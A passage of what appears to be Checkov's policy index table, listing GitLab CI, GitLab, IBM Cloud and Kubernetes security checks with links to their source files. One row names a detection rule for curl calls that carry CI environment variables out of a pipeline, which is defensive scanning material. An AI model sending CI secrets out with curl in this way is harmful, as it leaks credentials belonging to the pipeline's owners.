[merge_requests_approvals.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/gitlab/checks/merge_requests_approvals.py) | | 6653 | CKV_GITLABCI_1 | jobs | *.script[] | Suspicious use of curl with CI environment variables in script | gitlab_ci | [SuspectCurlInScript.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/gitlab_ci/checks/job/SuspectCurlInScript.py) | | 6654 | CKV_GITLABCI_2 | jobs | *.rules | Avoid creating rules that generate double pipelines | gitlab_ci | [AvoidDoublePipelines.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/gitlab_ci/checks/job/AvoidDoublePipelines.py) | | 6655 | CKV_GITLABCI_3 | jobs | *.image[] | Detecting image usages in gitlab workflows | gitlab_ci | [DetectImagesUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/gitlab_ci/checks/job/DetectImagesUsage.py) | | 6656 | CKV_GITLABCI_3 | jobs | *.services[] | Detecting image usages in gitlab workflows | gitlab_ci | [DetectImagesUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/gitlab_ci/checks/job/DetectImagesUsage.py) | | 6657 | CKV_GLB_1 | resource | gitlab_project | Ensure at least two approving reviews are required to merge a GitLab MR | Terraform | [RequireTwoApprovalsToMerge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gitlab/RequireTwoApprovalsToMerge.py) | | 6658 | CKV_GLB_2 | resource | gitlab_branch_protection | Ensure GitLab branch protection rules does not allow force pushes | Terraform | [ForcePushDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gitlab/ForcePushDisabled.py) | | 6659 | CKV_GLB_3 | resource | gitlab_project | Ensure GitLab prevent secrets is enabled | Terraform | [PreventSecretsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gitlab/PreventSecretsEnabled.py) | | 6660 | CKV_GLB_4 | resource | gitlab_project | Ensure GitLab commits are signed | Terraform | [RejectUnsignedCommits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gitlab/RejectUnsignedCommits.py) | | 6661 | CKV2_IBM_1 | resource | ibm_is_lb | Ensure load balancer for VPC is private (disable public access) | Terraform | [IBM_LoadBalancerforVPCisPrivate.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ibm/IBM_LoadBalancerforVPCisPrivate.yaml) | | 6662 | CKV2_IBM_2 | resource | ibm_is_vpc | Ensure VPC classic access is disabled | Terraform | [IBM_VPCclassicAccessIsDisabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ibm/IBM_VPCclassicAccessIsDisabled.yaml) | | 6663 | CKV2_IBM_3 | resource | ibm_iam_account_settings | Ensure API key creation is restricted in account settings | Terraform | [IBM_RestrictAPIkeyCreationInAccountSettings.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ibm/IBM_RestrictAPIkeyCreationInAccountSettings.yaml) | | 6664 | CKV2_IBM_4 | resource | ibm_iam_account_settings | Ensure Multi-Factor Authentication (MFA) is enabled at the account level | Terraform | [IBM_EnableMFAatAccountLevel.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ibm/IBM_EnableMFAatAccountLevel.yaml) | | 6665 | CKV2_IBM_5 | resource | ibm_iam_account_settings | Ensure Service ID creation is restricted in account settings | Terraform | [IBM_RestrictServiceIDCreationInAccountSettings.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ibm/IBM_RestrictServiceIDCreationInAccountSettings.yaml) | | 6666 | CKV2_IBM_7 | resource | ibm_container_cluster | Ensure Kubernetes clusters are accessible by using private endpoint and NOT public endpoint | Terraform | [IBM_K8sClustersAccessibleViaPrivateEndPt.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ibm/IBM_K8sClustersAccessibleViaPrivateEndPt.yaml) | | 6667 | CKV_K8S_1 | resource | PodSecurityPolicy | Do not admit containers wishing to share the host process ID namespace | Kubernetes | [ShareHostPIDPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPIDPSP.py) | | 6668 | CKV_K8S_1 | resource | kubernetes_pod_security_policy | Do not admit containers wishing to share the host process ID namespace | Terraform | [ShareHostPIDPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostPIDPSP.py) | | 6669 | CKV_K8S_2 | resource | PodSecurityPolicy | Do not admit privileged containers | Kubernetes | [PrivilegedContainersPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainersPSP.py) | | 6670 | CKV_K8S_2 | resource | kubernetes_pod_security_policy | Do not admit privileged containers | Terraform | [PrivilegedContainerPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PrivilegedContainerPSP.py) | | 6671 | CKV_K8S_3 | resource | PodSecurityPolicy | Do not admit containers wishing to share the host IPC namespace | Kubernetes | [ShareHostIPCPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPCPSP.py) | | 6672 | CKV_K8S_3 | resource | kubernetes_pod_security_policy | Do not admit containers wishing to share the host IPC namespace | Terraform | [ShareHostIPCPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostIPCPSP.py) | | 6673 | CKV_K8S_4 | resource | PodSecurityPolicy | Do not admit containers wishing to share the host network namespace | Kubernetes | [SharedHostNetworkNamespacePSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespacePSP.py) | | 6674 | CKV_K8S_4 | resource | kubernetes_pod_security_policy | Do not admit containers wishing to share the host network namespace | Terraform | [SharedHostNetworkNamespacePSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/SharedHostNetworkNamespacePSP.py) | | 6675 | CKV_K8S_5 | resource | PodSecurityPolicy | Containers should not run with allowPrivilegeEscalation | Kubernetes | [AllowPrivilegeEscalationPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalationPSP.py) | | 6676 | CKV_K8S_5 | resource | kubernetes_pod_security_policy | Containers should not run with allowPrivilegeEscalation | Terraform | [AllowPrivilegeEscalationPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowPrivilegeEscalationPSP.py) | | 6677 | CKV_K8S_6 | resource | PodSecurityPolicy | Do not admit root containers | Kubernetes | [RootContainersPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersPSP.py) | | 6678 | CKV_K8S_6 | resource | kubernetes_pod_security_policy | Do not admit root containers | Terraform | [RootContainerPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/RootContainerPSP.py) | | 6679 | CKV_K8S_7 | resource | PodSecurityPolicy | Do not admit containers with the NET_RAW capability | Kubernetes | [DropCapabilitiesPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilitiesPSP.py) | | 6680 | CKV_K8S_7 | resource | kubernetes_pod_security_policy | Do not admit containers with the NET_RAW capability | Terraform | [DropCapabilitiesPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DropCapabilitiesPSP.py) | | 6681 | CKV_K8S_8 | resource | DaemonSet | Liveness Probe Should be Configured | Kubernetes | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py) | | 6682 | CKV_K8S_8 | resource | Deployment | Liveness Probe Should be Configured | Kubernetes | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py) | | 6683 | CKV_K8S_8 | resource | DeploymentConfig | Liveness Probe Should be Configured | Kubernetes | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py) | | 6684 | CKV_K8S_8 | resource | Pod | Liveness Probe Should be Configured | Kubernetes | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py) | | 6685 | CKV_K8S_8 | resource | PodTemplate | Liveness Probe Should be Configured | Kubernetes | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py) | | 6686 | CKV_K8S_8 | resource | ReplicaSet | Liveness Probe Should be Configured | Kubernetes | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py) | | 6687 | CKV_K8S_8 | resource | ReplicationController | Liveness Probe Should be Configured | Kubernetes | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py) | | 6688 | CKV_K8S_8 | resource | StatefulSet | Liveness Probe Should be Configured | Kubernetes | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py) | | 6689 | CKV_K8S_8 | resource | kubernetes_deployment | Liveness Probe Should be Configured | Terraform | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/LivenessProbe.py) | | 6690 | CKV_K8S_8 | resource | kubernetes_deployment_v1 | Liveness Probe Should be Configured | Terraform | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/LivenessProbe.py) | | 6691 | CKV_K8S_8 | resource | kubernetes_pod | Liveness Probe Should be Configured | Terraform | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/LivenessProbe.py) | | 6692 | CKV_K8S_8 | resource | kubernetes_pod_v1 | Liveness Probe Should be Configured | Terraform | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/LivenessProbe.py) | | 6693 | CKV_K8S_9 | resource | DaemonSet | Readiness Probe Should be Configured | Kubernetes | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py) | | 6694 | CKV_K8S_9 | resource | Deployment | Readiness Probe Should be Configured | Kubernetes | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py) | | 6695 | CKV_K8S_9 | resource | DeploymentConfig | Readiness Probe Should be Configured | Kubernetes | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py) | | 6696 | CKV_K8S_9 | resource | Pod | Readiness Probe Should be Configured | Kubernetes | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py) | | 6697 | CKV_K8S_9 | resource | PodTemplate | Readiness Probe Should be Configured | Kubernetes | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py) | | 6698 | CKV_K8S_9 | resource | ReplicaSet | Readiness Probe Should be Configured | Kubernetes | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py) | | 6699 | CKV_K8S_9 | resource | ReplicationController | Readiness Probe Should be Configured | Kubernetes | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py) | | 6700 | CKV_K8S_9 | resource | StatefulSet | Readiness Probe Should be Configured | Kubernetes | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py) | | 6701 | CKV_K8S_9 | resource | kubernetes_deployment | Readiness Probe Should be Configured | Terraform | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadinessProbe.py) | | 6702 | CKV_K8S_9 | resource | kubernetes_deployment_v1 | Readiness Probe Should be Configured | Terraform | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadinessProbe.py) | | 6703 | CKV_K8S_9 | resource | kubernetes_pod | Readiness Probe Should be Configured | Terraform | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadinessProbe.py) | | 6704 | CKV_K8S_9 | resource | kubernetes_pod_v1 | Readiness Probe Should be Configured | Terraform | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadinessProbe.py) | | 6705 | CKV_K8S_10 | resource | CronJob | CPU requests should be set | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py) | | 6706 | CKV_K8S_10 | resource | DaemonSet | CPU requests should be set | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py) | | 6707 | CKV_K8S_10 | resource | Deployment | CPU requests should be set | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py) | | 6708 | CKV_K8S_10 | resource | DeploymentConfig | CPU requests should be set | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py) | | 6709 | CKV_K8S_10 | resource | Job | CPU requests should be set | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py) | | 6710 | CKV_K8S_10 | resource | Pod | CPU requests should be set | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py) | | 6711 | CKV_K8S_10 | resource | PodTemplate | CPU requests should be set | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py) | | 6712 | CKV_K8S_10 | resource | ReplicaSet | CPU requests should be set | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py) | | 6713 | CKV_K8S_10 | resource | ReplicationController | CPU requests should be set | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py) | | 6714 | CKV_K8S_10 | resource | StatefulSet | CPU requests should be set | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py) | | 6715 | CKV_K8S_10 | resource | kubernetes_deployment | CPU requests should be set | Terraform | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPURequests.py) | | 6716 | CKV_K8S_10 | resource | kubernetes_deployment_v1 | CPU requests should be set | Terraform | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPURequests.py) | | 6717 | CKV_K8S_10 | resource | kubernetes_pod | CPU requests should be set | Terraform | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPURequests.py) | | 6718 | CKV_K8S_10 | resource | kubernetes_pod_v1 | CPU requests should be set | Terraform | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPURequests.py) | | 6719 | CKV_K8S_11 | resource | CronJob | CPU limits should be set | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py) | | 6720 | CKV_K8S_11 | resource | DaemonSet | CPU limits should be set | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py) | | 6721 | CKV_K8S_11 | resource | Deployment | CPU limits should be set | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py) | | 6722 | CKV_K8S_11 | resource | DeploymentConfig | CPU limits should be set | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py) | | 6723 | CKV_K8S_11 | resource | Job | CPU limits should be set | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py) | | 6724 | CKV_K8S_11 | resource | Pod | CPU limits should be set | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py) | | 6725 | CKV_K8S_11 | resource | PodTemplate | CPU limits should be set | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py) | | 6726 | CKV_K8S_11 | resource | ReplicaSet | CPU limits should be set | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py) | | 6727 | CKV_K8S_11 | resource | ReplicationController | CPU limits should be set | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py) | | 6728 | CKV_K8S_11 | resource | StatefulSet | CPU limits should be set | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py) | | 6729 | CKV_K8S_11 | resource | kubernetes_deployment | CPU Limits should be set | Terraform | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPULimits.py) | | 6730 | CKV_K8S_11 | resource | kubernetes_deployment_v1 | CPU Limits should be set | Terraform | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPULimits.py) | | 6731 | CKV_K8S_11 | resource | kubernetes_pod | CPU Limits should be set | Terraform | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPULimits.py) | | 6732 | CKV_K8S_11 | resource | kubernetes_pod_v1 | CPU Limits should be set | Terraform | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPULimits.py) | | 6733 | CKV_K8S_12 | resource | CronJob | Memory requests should be set | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py) | | 6734 | CKV_K8S_12 | resource | DaemonSet | Memory requests should be set | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py) | | 6735 | CKV_K8S_12 | resource | Deployment | Memory requests should be set | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py) | | 6736 | CKV_K8S_12 | resource | DeploymentConfig | Memory requests should be set | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py) | | 6737 | CKV_K8S_12 | resource | Job | Memory requests should be set | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py) | | 6738 | CKV_K8S_12 | resource | Pod | Memory requests should be set | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py) | | 6739 | CKV_K8S_12 | resource | PodTemplate | Memory requests should be set | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py) | | 6740 | CKV_K8S_12 | resource | ReplicaSet | Memory requests should be set | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py) | | 6741 | CKV_K8S_12 | resource | ReplicationController | Memory requests should be set | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py) | | 6742 | CKV_K8S_12 | resource | StatefulSet | Memory requests should be set | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py) | | 6743 | CKV_K8S_12 | resource | kubernetes_deployment | Memory Limits should be set | Terraform | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryLimits.py) | | 6744 | CKV_K8S_12 | resource | kubernetes_deployment_v1 | Memory Limits should be set | Terraform | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryLimits.py) | | 6745 | CKV_K8S_12 | resource | kubernetes_pod | Memory Limits should be set | Terraform | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryLimits.py) | | 6746 | CKV_K8S_12 | resource | kubernetes_pod_v1 | Memory Limits should be set | Terraform | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryLimits.py) | | 6747 | CKV_K8S_13 | resource | CronJob | Memory limits should be set | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py) | | 6748 | CKV_K8S_13 | resource | DaemonSet | Memory limits should be set | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py) | | 6749 | CKV_K8S_13 | resource | Deployment | Memory limits should be set | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py) | | 6750 | CKV_K8S_13 | resource | DeploymentConfig | Memory limits should be set | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py) | | 6751 | CKV_K8S_13 | resource | Job | Memory limits should be set | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py) | | 6752 | CKV_K8S_13 | resource | Pod | Memory limits should be set | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py) | | 6753 | CKV_K8S_13 | resource | PodTemplate | Memory limits should be set | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py) | | 6754 | CKV_K8S_13 | resource | ReplicaSet | Memory limits should be set | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py) | | 6755 | CKV_K8S_13 | resource | ReplicationController | Memory limits should be set | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py) | | 6756 | CKV_K8S_13 | resource | StatefulSet | Memory limits should be set | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py) | | 6757 | CKV_K8S_13 | resource | kubernetes_deployment | Memory requests should be set | Terraform | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryRequests.py) | | 6758 | CKV_K8S_13 | resource | kubernetes_deployment_v1 | Memory requests should be set | Terraform | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryRequests.py) | | 6759 | CKV_K8S_13 | resource | kubernetes_pod | Memory requests should be set | Terraform | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryRequests.py) | | 6760 | CKV_K8S_13 | resource | kubernetes_pod_v1 | Memory requests should be set | Terraform | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryRequests.py) | | 6761 | CKV_K8S_14 | resource | CronJob | Image Tag should be fixed - not latest or blank | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py) | | 6762 | CKV_K8S_14 | resource | DaemonSet | Image Tag should be fixed - not latest or blank | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py) | | 6763 | CKV_K8S_14 | resource | Deployment | Image Tag should be fixed - not latest or blank | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py) | | 6764 | CKV_K8S_14 | resource | DeploymentConfig | Image Tag should be fixed - not latest or blank | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py) | | 6765 | CKV_K8S_14 | resource | Job | Image Tag should be fixed - not latest or blank | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py) | | 6766 | CKV_K8S_14 | resource | Pod | Image Tag should be fixed - not latest or blank | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py) | | 6767 | CKV_K8S_14 | resource | PodTemplate | Image Tag should be fixed - not latest or blank | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py) | | 6768 | CKV_K8S_14 | resource | ReplicaSet | Image Tag should be fixed - not latest or blank | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py) | | 6769 | CKV_K8S_14 | resource | ReplicationController | Image Tag should be fixed - not latest or blank | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py) | | 6770 | CKV_K8S_14 | resource | StatefulSet | Image Tag should be fixed - not latest or blank | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py) | | 6771 | CKV_K8S_14 | resource | kubernetes_deployment | Image Tag should be fixed - not latest or blank | Terraform | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageTagFixed.py) | | 6772 | CKV_K8S_14 | resource | kubernetes_deployment_v1 | Image Tag should be fixed - not latest or blank | Terraform | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageTagFixed.py) | | 6773 | CKV_K8S_14 | resource | kubernetes_pod | Image Tag should be fixed - not latest or blank | Terraform | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageTagFixed.py) | | 6774 | CKV_K8S_14 | resource | kubernetes_pod_v1 | Image Tag should be fixed - not latest or blank | Terraform | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageTagFixed.py) | | 6775 | CKV_K8S_15 | resource | CronJob | Image Pull Policy should be Always | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py) | | 6776 | CKV_K8S_15 | resource | DaemonSet | Image Pull Policy should be Always | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py) | | 6777 | CKV_K8S_15 | resource | Deployment | Image Pull Policy should be Always | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py) | | 6778 | CKV_K8S_15 | resource | DeploymentConfig | Image Pull Policy should be Always | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py) | | 6779 | CKV_K8S_15 | resource | Job | Image Pull Policy should be Always | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py) | | 6780 | CKV_K8S_15 | resource | Pod | Image Pull Policy should be Always | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py) | | 6781 | CKV_K8S_15 | resource | PodTemplate | Image Pull Policy should be Always | Kubernetes | 